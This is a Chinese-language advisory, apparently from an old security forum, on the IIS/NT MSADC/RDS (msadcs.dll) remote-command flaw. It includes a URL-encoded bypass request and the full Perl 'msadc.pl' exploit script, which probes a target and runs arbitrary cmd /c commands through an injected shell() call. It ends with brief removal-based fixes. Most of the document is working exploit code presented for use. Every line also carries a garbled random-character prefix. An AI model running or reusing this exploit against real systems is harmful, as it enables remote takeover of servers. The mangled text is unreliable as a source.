IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
/v}P)& ~_DF06G 涉及程序：
B`?N,N" Microsoft NT server
Af2=qe EX`"z(L 描述：
~`*1*;Q<H| 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
d] b ~)!VW I! h (` 详细：
55 S\&Ad$ 如果你没有时间读详细内容的话，就删除:
T-L|Q,-{- c:\Program Files\Common Files\System\Msadc\msadcs.dll
xoqiRtlY: 有关的安全问题就没有了。
p{iG{ @k=cN>ZMc 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
q[{: d&}pgb-Md 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
=y)p>3p}& 关于利用ODBC远程漏洞的描述，请参看:
F^ I\X $q Zc!Qc http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ^=eq .(> LYd}w(} 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
xN# b zma http://www.microsoft.com/security/bulletins/MS99-025faq.asp vOos*& RL?u n}Qa 这里不再论述。
u]
F7 0C^~ Ni+3b 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
I#"t'=9H zq,iLoY[R /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
iP<k1#k 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
BQyvj\ uJ j y7 'M~BE\ #将下面这段保存为txt文件，然后: "perl -x 文件名"
Ze-MAt NJn &>/vM #!perl
aQ(`6DQv #
Z} c'Bm( # MSADC/RDS 'usage' (aka exploit) script
_LJ5o_-N #
Hu <p?mF# # by rain.forest.puppy
BX@pt;$ek7 #
285_|!.Y # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
w-
UKMW9" # beta test and find errors!
3^!Hl8P7 Q Oz9\,C use Socket; use Getopt::Std;
r8IX/ , getopts("e:vd:h:XR", \%args);
oS~}T R:} C@*%AY print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
` *>V6B3 7S BM^r} if (!defined $args{h} && !defined $args{R}) {
?QGmoQ) print qq~
%0vTA_W Usage: msadc.pl -h <host> { -d <delay> -X -v }
; ( K -h <host> = host you want to scan (ip or domain)
! mm5I#s -d <seconds> = delay between calls, default 1 second
u K'<xM"%T -X = dump Index Server path table, if available
A:kkCG!~Nf -v = verbose
?3`q+[: -e = external dictionary file for step 5
3>i>@n_ ;4!=DFbU Or a -R will resume a command session
}c}
( 5 fs&,w ~; exit;}
]\OWZ{T'j W @l+ciZ_ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
3@& bxY Xm if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
o>2e !7 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
c\M#5+ 1j if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
6G'<[gL
j $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
'g]hmE if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
IQT cYl 3=Z<wD s if (!defined $args{R}){ $ret = &has_msadc;
{] O`g G die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
,:^
N[b wDDx j print "Please type the NT commandline you want to run (cmd /c assumed):\n"
\3r3{X
_<` . "cmd /c ";
IeVLn^?+: $in=<STDIN>; chomp $in;
JL.5Q zA $command="cmd /c " . $in ;
NjbwGcH%\ t)ld<9)eB if (defined $args{R}) {&load; exit;}
!(Q l)C nB=0T`v Q print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Y[ Es &try_btcustmr;
3@G;'|z WE")xhV6 print "\nStep 2: Trying to make our own DSN...";
5^>n5u / &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
^OF5F8Tf/ ;
yyO0Ha print "\nStep 3: Trying known DSNs...";
tev QW &known_dsn;
GJX4KA8J \k;U}Te< print "\nStep 4: Trying known .mdbs...";
k5a\S q} &known_mdb;
e$/&M*0\f .!i0_Rv5x if (defined $args{e}){
;+
G9- print "\nStep 5: Trying dictionary of DSN names...";
^ |aNG`|O &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
e&2wdH& J/t!- ! print "Sorry Charley...maybe next time?\n";
}w@gj"\H exit;
aM$\#C x eaQ90B4 ##############################################################################
nX._EC 6yI}1g sub sendraw { # ripped and modded from whisker
hY+R'9 sleep($delay); # it's a DoS on the server! At least on mine...
_9NVE|c; my ($pstr)=@_;
E T)>#zp+s socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
}kE 87x' die("Socket problems\n");
J='W+=N if(connect(S,pack "SnA4x8",2,80,$target)){
]NtSu%u select(S); $|=1;
] ZT cOf print $pstr; my @in=<S>;
u?kD)5Nk select(STDOUT); close(S);
!q A8Zky_ return @in;
|z~LzSJv } else { die("Can't connect...\n"); }}
khAqYu" ) NhA#bn9y? ##############################################################################
v)):$s?WB Wt J{ sub make_header { # make the HTTP request
gLIT;BK my $msadc=<<EOT
Fd7*]a POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
G
AQ
'Ti1! User-Agent: ACTIVEDATA
8.?E[ ~ Host: $ip
o Eu> }JD Content-Length: $clen
h>wcT VF Connection: Keep-Alive
dv7 <AJ m"4B!S&Fc( ADCClientVersion:01.06
s*Ih_Ag=: Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
4<.O+hS
r~8;kcu7 --!ADM!ROX!YOUR!WORLD!
Uki9/QiX> Content-Type: application/x-varg
8Bpip Content-Length: $reqlen
.^[_ V B
wC+ov= EOT
tWY2o3 j ; $msadc=~s/\n/\r\n/g;
pUCK-rL return $msadc;}
( KTnJZ 5h8o4 ##############################################################################
-(>qu.[8= xhw-2dl*H sub make_req { # make the RDS request
? z/Vgk+9| my ($switch, $p1, $p2)=@_;
`tE^jqrke5 my $req=""; my $t1, $t2, $query, $dsn;
e7xj_QH b U` =* if ($switch==1){ # this is the btcustmr.mdb query
=x0No*#|' $query="Select * from Customers where City=" . make_shell();
)`8p d 7<. $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
F>+2DlA`<e $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
6GYtY> u,7zFg)H elsif ($switch==2){ # this is general make table query
%6ub3PLw8 $query="create table AZZ (B int, C varchar(10))";
K=6UK%y
A $dsn="$p1";}
\DA$6w\\ \Hwg) Uc{ elsif ($switch==3){ # this is general exploit table query
+y &d;0! $query="select * from AZZ where C=" . make_shell();
?t rV72D $dsn="$p1";}
`.=sTp2rbc Z0R eWrl;` elsif ($switch==4){ # attempt to hork file info from index server
~ y ;y(4< $query="select path from scope()";
#tjmWGo, $dsn="Provider=MSIDXS;";}
t`G)b&3_O o>c ^aRZ{ elsif ($switch==5){ # bad query
#SkX@sl@ $query="select";
8g*hvPc $dsn="$p1";}
^Y04qe Rd Ht[{ryTxu $t1= make_unicode($query);
MJ\[ Dt $t2= make_unicode($dsn);
?_q+&)4-o $req = "\x02\x00\x03\x00";
9<s4yZF@x $req.= "\x08\x00" . pack ("S1", length($t1));
ALGg AX3t $req.= "\x00\x00" . $t1 ;
<L2emL_' $req.= "\x08\x00" . pack ("S1", length($t2));
{8@\Ij $req.= "\x00\x00" . $t2 ;
N[Sb#w`[/ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
_3>djF_u return $req;}
Q_zr\RM> 4 tXSYHd3 ##############################################################################
}!)F9r@\ 8]< f$3 . sub make_shell { # this makes the shell() statement
1H{jy^sP 7 return "'|shell(\"$command\")|'";}
dDt Fx2(R pCU*@c! ##############################################################################
nl1-kB)$e| /#S>sOg2xq sub make_unicode { # quick little function to convert to unicode
PlCc8Zy my ($in)=@_; my $out;
~`eHHgX for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
:b/jNHJU return $out;}
q\$6F)ha3 cxP6-tV% ##############################################################################
K:5eek u&]vd / sub rdo_success { # checks for RDO return success (this is kludge)
XU-m"_t my (@in) = @_; my $base=content_start(@in);
"T6# if($in[$base]=~/multipart\/mixed/){
N/~N7MwJj return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Zk?
= return 0;}
%<Q*Jf
27 Gh E ##############################################################################
'Qn~H[$/p KhaYr)&~ sub make_dsn { # this makes a DSN for us
o-eKAkh my @drives=("c","d","e","f");
7m 1KR# j print "\nMaking DSN: ";
Q\kub_I{@ foreach $drive (@drives) {
AQ{zx1^2>K print "$drive: ";
>V;,#5F_ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
qv+R:YYOq "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Bjj<\8 ^M . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
UUtbD&\ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
4]&<?"LSK return 0 if $2 eq "404"; # not found/doesn't exist
q'S
=Eav8 if($2 eq "200") {
u oVNK foreach $line (@results) {
Qv#]81i(1 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
eN-au/kN } return 0;}
BC/_:n8O 3Wx,oq;4- ##############################################################################
:w-`PY J%G Jb(Y,LO^ sub verify_exists {
5/I_w 0 my ($page)=@_;
WDx
Mo` zT my @results=sendraw("GET $page HTTP/1.0\n\n");
>nn Y:7m return $results[0];}
KMjg;! y
Xm_$
dZ ##############################################################################
smU4jh9S $v27]"] sub try_btcustmr {
g 9mG`f my @drives=("c","d","e","f");
l]#!+@ my @dirs=("winnt","winnt35","winnt351","win","windows");
c^.l 2Q! &%F@O<: foreach $dir (@dirs) {
30F!kP*E print "$dir -> "; # fun status so you can see progress
? S#\K^ foreach $drive (@drives) {
8+'C_t/0i print "$drive: "; # ditto
\m/x V / $reqlen=length( make_req(1,$drive,$dir) ) - 28;
0[a}n6X Tk $reqlenlen=length( "$reqlen" );
cFZCf8:zB $clen= 206 + $reqlenlen + $reqlen;
%3=J*wj>D K"{HseN{ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
RKkGITDk if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
>Pal H24] else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
JMyTwj[7 pY} /j;.[ ##############################################################################
U;^ [$Aq )0CQP sub odbc_error {
H;KDZO9W my (@in)=@_; my $base;
@Hjea1@t my $base = content_start(@in);
8X7{vN_3K if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
#hx yO q, $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
& 0v.E"0< $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
46,j9x $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
$k 2)8 #\ return $in[$base+4].$in[$base+5].$in[$base+6];}
[*Ju 3 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
dcq#TBo8 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
Q~,YbZ-7 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
hR)2xz jBtj+ TL8 ##############################################################################
UpUp8%fCU iI?{"}BZ sub verbose {
e<=;i" |
my ($in)=@_;
Z=$ T1| return if !$verbose;
QT!5l` print STDOUT "\n$in\n";}
;j} yB a/:XXy | ##############################################################################
;e s^R?z pR$6,Vi sub save {
}E&NPp> my ($p1, $p2, $p3, $p4)=@_;
F9Z @x) open(OUT, ">rds.save") || print "Problem saving parameters...\n";
}GZbo kWg. print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
B5=($?5^6% close OUT;}
;# anZC; q&si% ##############################################################################
I4e+$bU3 mh` |=M]8E sub load {
mP}#Ccji? my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
9y] J /1# open(IN,"<rds.save") || die("Couldn't open rds.save\n");
9'KonW @p=<IN>; close(IN);
( H#M<N $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
+1`t}hO $target= inet_aton($ip) || die("inet_aton problems");
9`Q@'( m print "Resuming to $ip ...";
IB$7`7 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
#G;X' BN if($p[1]==1) {
q~Jq/E"f $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
SS3-+<z $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
fC<m^%*zgA my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
T[uDZ Yx if (rdo_success(@results)){print "Success!\n";}
O.+9,4A( else { print "failed\n"; verbose(odbc_error(@results));}}
$RO$}! elsif ($p[1]==3){
wyY*:{lZ if(run_query("$p[3]")){
o'= VZT9 print "Success!\n";} else { print "failed\n"; }}
_6LoVS elsif ($p[1]==4){
-T_\f?V88 if(run_query($drvst . "$p[3]")){
_j ;3-m print "Success!\n"; } else { print "failed\n"; }}
t&RruwN_; exit;}
O!F] ^'! *"9<TSU%m ##############################################################################
_%pAlo_6 4<v;1
sub create_table {
u<Xog$esu my ($in)=@_;
H~fdbR $reqlen=length( make_req(2,$in,"") ) - 28;
.5Z_E
O $reqlenlen=length( "$reqlen" );
/L~m#HxWU $clen= 206 + $reqlenlen + $reqlen;
hC<14 my @results=sendraw(make_header() . make_req(2,$in,""));
H{zPft return 1 if rdo_success(@results);
:7b-$fm my $temp= odbc_error(@results); verbose($temp);
;#QhQx return 1 if $temp=~/Table 'AZZ' already exists/;
&O1v,$}' return 0;}
(FVX57 ,=By$.rr' ##############################################################################
T@ 48 qg q)I|2~Q c^ sub known_dsn {
hnxc`VX>g # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
AR B7>" my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
v 81rfB5 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
'gTmH [be "banner", "banners", "ads", "ADCDemo", "ADCTest");
NPJ.+ph (6qsKX foreach $dSn (@dsns) {
;e{5)@h$ print ".";
K{DAOQ.z next if (!is_access("DSN=$dSn"));
Y;Y 1+jt if(create_table("DSN=$dSn")){
TSto9 $}* print "$dSn successful\n";
.[j %sGdKl if(run_query("DSN=$dSn")){
v '9m7$ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
AK/:I>M print "Something's borked. Use verbose next time\n";}}} print "\n";}
wK*PD&nN 5
2Hqu> ##############################################################################
v\A.Tyy R@`rT*lJ sub is_access {
=_-C%<4 my ($in)=@_;
r"_Y3SxxL $reqlen=length( make_req(5,$in,"") ) - 28;
}Ik1bkK $reqlenlen=length( "$reqlen" );
Q,e*#oK3$ $clen= 206 + $reqlenlen + $reqlen;
WZ~> BM my @results=sendraw(make_header() . make_req(5,$in,""));
|B[ eJq my $temp= odbc_error(@results);
( $d4:Ww verbose($temp); return 1 if ($temp=~/Microsoft Access/);
Ps>&"k$T return 0;}
kC$I2[ t! O| z%DkH[ ##############################################################################
|C-y}iQ:6~ :5#
V^\3* sub run_query {
>BoSw&T$Q my ($in)=@_;
ecFi (eMD $reqlen=length( make_req(3,$in,"") ) - 28;
\< 65??P $reqlenlen=length( "$reqlen" );
>FFVY{F $clen= 206 + $reqlenlen + $reqlen;
%$9bce-fcG my @results=sendraw(make_header() . make_req(3,$in,""));
<Dm Tj$ return 1 if rdo_success(@results);
^.HWk S`e my $temp= odbc_error(@results); verbose($temp);
c> ~: dcy return 0;}
P. V\ov7m2 .6 T4 z7I ##############################################################################
8pe0$r`b !Q)3-u sub known_mdb {
BK b <2 my @drives=("c","d","e","f","g");
|uUuFm my @dirs=("winnt","winnt35","winnt351","win","windows");
i21QJ6jPcI my $dir, $drive, $mdb;
+/ N1_ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
{ ;n0/
WU\m^!`w=F # this is sparse, because I don't know of many
J(9=T<%T my @sysmdbs=( "\\catroot\\icatalog.mdb",
}$aN Of %: "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
A*0*sZ0 "\\system32\\certmdb.mdb",
p24.bLr "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
e'~ Q@_D (%DRt4u <H my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
=K'L|QKF "\\cfusion\\cfapps\\forums\\forums_.mdb",
s[V `e2O "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
l,y^HTc}7/ "\\cfusion\\cfapps\\security\\realm_.mdb",
<\D Uo0]J "\\cfusion\\cfapps\\security\\data\\realm.mdb",
GOr}/y; "\\cfusion\\database\\cfexamples.mdb",
VGJDqm! "\\cfusion\\database\\cfsnippets.mdb",
$u5.!{Wq? "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
,nYZxYLf+ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
cU | _ "\\cfusion\\brighttiger\\database\\cleam.mdb",
? ( 12aU "\\cfusion\\database\\smpolicy.mdb",
5
,ZRP'oI "\\cfusion\\database\cypress.mdb",
g :i*O^c @ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
t)( v4 ^T "\\website\\cgi-win\\dbsample.mdb",
Qp+lJAY "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
3B# !2| "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
0/Q5d,'Y[2 ); #these are just
'j# a%j@{ foreach $drive (@drives) {
\+]O*Bm&`8 foreach $dir (@dirs){
b|wWHNEdb, foreach $mdb (@sysmdbs) {
o* _g$ print ".";
3yMt1 fy if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
2np-Fc{S print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
<^sAY P| if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
l $ Zs~@N print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
J/7 u7_ } else { print "Something's borked. Use verbose next time\n"; }}}}}
M?hFCt3Y Sip_~]hM foreach $drive (@drives) {
NDo^B7 R- foreach $mdb (@mdbs) {
-W^2*w print ".";
%zQ2:iT5@= if(create_table($drv . $drive . $dir . $mdb)){
}AAbhr9d} print "\n" . $drive . $dir . $mdb . " successful\n";
% : tr if(run_query($drv . $drive . $dir . $mdb)){
2Q
3/-R print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
:BDviUC7Z } else { print "Something's borked. Use verbose next time\n"; }}}}
C$y fMK,,N }
G5+]DogS 4#@0T"T~M ##############################################################################
?>TbT fmR Gx|Dql sub hork_idx {
Sy B-iQn print "\nAttempting to dump Index Server tables...\n";
._(z~3s print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
3G(skphE $reqlen=length( make_req(4,"","") ) - 28;
>I: 9'"` $reqlenlen=length( "$reqlen" );
Esa6hU# $clen= 206 + $reqlenlen + $reqlen;
[Ekgft& my @results=sendraw2(make_header() . make_req(4,"",""));
5 j1 IH,yW if (rdo_success(@results)){
d!!3"{' my $max=@results; my $c; my %d;
+ 1f{ _v for($c=19; $c<$max; $c++){
f>4+,@G $results[$c]=~s/\x00//g;
ds')PIj $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
d-i&k(M $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
|{!Ns +' $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
o HRbAE^ $d{"$1$2"}="";}
WiwwCKjSa foreach $c (keys %d){ print "$c\n"; }
i*b4uHn a } else {print "Index server doesn't seem to be installed.\n"; }}
S m vwhX M Hn&;
A] ##############################################################################
3]7ipwF2q #PPsRKj3c sub dsn_dict {
98 ayA$ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
I')x]edU while(<IN>){
cnYYs d{ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
C }bPv +t next if (!is_access("DSN=$dSn"));
{{GHzW if(create_table("DSN=$dSn")){
LVWxd}0 print "$dSn successful\n";
yOM
-;h if(run_query("DSN=$dSn")){
h!~|6nj print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
p+ 5#dbyr print "Something's borked. Use verbose next time\n";}}}
+E `063 print "\n"; close(IN);}
<Wg G=Kf)N 6yi/&#YM ##############################################################################
:e52hK1[T -ca]Q| m 8 sub sendraw2 { # ripped and modded from whisker
81cv: |" sleep($delay); # it's a DoS on the server! At least on mine...
L1:}bH\ y my ($pstr)=@_;
*X0K2| socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
%Ln?dF + die("Socket problems\n");
d`<#}-nh if(connect(S,pack "SnA4x8",2,80,$target)){
2 /UI>@By print "Connected. Getting data";
bsD'\ open(OUT,">raw.out"); my @in;
<vO8_2,V- select(S); $|=1; print $pstr;
s+Cl while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
n9w j[t1/ close(OUT); select(STDOUT); close(S); return @in;
O]4W|WI3 } else { die("Can't connect...\n"); }}
WMRYT"J?N] 8UlB~fV g ##############################################################################
. Wd.) ^? E)RI!0Ra sub content_start { # this will take in the server headers
E gCp:L{ my (@in)=@_; my $c;
hE9'F(87a for ($c=1;$c<500;$c++) {
' aLPTVM^ if($in[$c] =~/^\x0d\x0a/){
deHY8x5uI if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
ysQEJm^|-u else { return $c+1; }}}
8UjCX[v return -1;} # it should never get here actually
t
Qp* ' x u0;a ##############################################################################
Y+}OClS 5mDVFb 3a sub funky {
;e`D#khB my (@in)=@_; my $error=odbc_error(@in);
VuP#b'g=|] if($error=~/ADO could not find the specified provider/){
}D8 ~^ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
k
QB 1 =c exit;}
*_}IeNc if($error=~/A Handler is required/){
LS*{]@8q print "\nServer has custom handler filters (they most likely are patched)\n";
Sj, 4=a exit;}
m3h2/}%9` if($error=~/specified Handler has denied Access/){
1"*Nb5s print "\nServer has custom handler filters (they most likely are patched)\n";
U1OLI]P exit;}}
{[H4G,QK
~x76{.gT ##############################################################################
#J'Z5)i| D>,$c sub has_msadc {
DtI%-I. my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
rin >r0o my $base=content_start(@results);
-fx(H+ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
S]Yu6FtWiO return 0;}
9Ba|J"?Y k n-L]YrDPK[ ########################
K gR1El. r H CfS )` hqwz~Ky} 解决方案：
U Ex(~> 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
\1eKY^)2 2、移除web 目录: /msadc
